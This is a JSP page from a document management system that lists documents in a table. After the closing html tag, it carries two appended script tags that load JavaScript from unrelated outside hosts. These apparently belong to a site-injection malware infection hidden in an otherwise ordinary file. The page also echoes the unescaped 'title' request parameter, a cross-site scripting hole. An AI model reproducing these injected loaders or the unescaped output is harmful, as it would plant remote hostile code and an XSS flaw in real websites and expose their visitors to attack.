<%@ page contentType="text/html; charset=utf-8" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/dms" prefix="dms" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="com.dcivision.framework.*" %>
<%@ page import="com.dcivision.dms.bean.*" %>
<%@ page import="com.dcivision.dms.core.*" %>
<%@ page import="com.dcivision.dms.dao.*" %>
<%!
	
%>
<%
  String title = request.getParameter("title");
  String lstName = request.getParameter("lstName");

  Map hmMessage = (Map)session.getAttribute(SystemUpdater.DMS_SYSTEM_CHECKER_MESSAGE);
  List lstDocumentId = (List)hmMessage.get(lstName);

%>

<html>
<head>
<title>System transfer</title>
<meta http-equiv="Pragma" content="no-cache">
<meta http-equiv="Cache-Control" content="no-cache">
<meta http-equiv="Expires" content="0">
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<style>
body {
  font-family: "Courier New";
}
table {
  background-color: #999999;
}
th {
  background-color: #DDDDFF;
}
td {
  background-color: #FFFFDD;
}
</style>
<script type="text/javascript" language="javascript">
<!--
  var oldtrobj = null;
  function highLight(trobj) {
    if (oldtrobj) highLightRow(oldtrobj, "#FFFFDD");
    highLightRow(trobj, "#FFCC99");
    oldtrobj = trobj;
  }

  function highLightRow(trobj, bgc) {
    var tdobj = trobj.children;
    for (var i=0; i<tdobj.length; i++) {
      tdobj[i].style.backgroundColor = bgc;
    }
    
  }
//-->
</script>

</head>
<body>
<center><h2><%=title%></h2></center>
<table width="700" cellpadding="3" cellspacing="1" border="0" align="center">
  <tr>
    <th nowrap="true">DOCUMENT ID</th>
    <th nowrap="true">DOCUMENT NAME</th>
    <th nowrap="true">ITEM STATUS</th>
    <th nowrap="true">RECORD STATUS</th>
    <th nowrap="true">CREATOR ID</th>
    <th nowrap="true">CREATE DATE</th>
    <th nowrap="true">UPDATE DATE</th>
    <th nowrap="true">DOCUMENT LOCATION PATH</th>
  </tr>
  <%
  SessionContainer sessionContainer = null;
  Connection conn = null;
  try {
    sessionContainer = (SessionContainer)session.getAttribute(GlobalConstant.SESSION_CONTAINER_KEY);
    conn = DataSourceFactory.getConnection();

    DocumentRetrievalManager retrievalManager = new DocumentRetrievalManager(sessionContainer, conn);
    DmsDocumentDAObject dmsDocumentDAO = new DmsDocumentDAObject(sessionContainer, conn);
    
    for (int i=0; i<lstDocumentId.size(); i++) {
      try {
        Integer id = (Integer)lstDocumentId.get(i);
        DmsDocument dmsDocument = (DmsDocument)dmsDocumentDAO.getDocumentByID(id, null);
  %>
  <tr onclick="highLight(this);" style="cursor:pointer;">
    <td nowrap="true" align="center"><%=id%></td>
    <td nowrap="true"><%=dmsDocument.getDocumentName()%></td>
    <td nowrap="true" align="center"><%=dmsDocument.getItemStatus()%></td>
    <td nowrap="true" align="center"><%=dmsDocument.getRecordStatus()%></td>
    <td nowrap="true" align="center"><%=dmsDocument.getCreatorID()%></td>
    <td nowrap="true" align="center"><%=dmsDocument.getCreateDate()%></td>
    <td nowrap="true" align="center"><%=dmsDocument.getUpdateDate()%></td>
    <td nowrap="true">
      <%=retrievalManager.getLocationPath(id)%>
    </td>
  </tr>
  <%
      }catch (Exception e) {
        throw e;
      }
    }
  }catch (Exception ex) {
    throw ex;
  }finally {
    try {conn.close();} catch (Exception ignore) {}
  }

  %>
</table>
</form>
</body>
</html>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>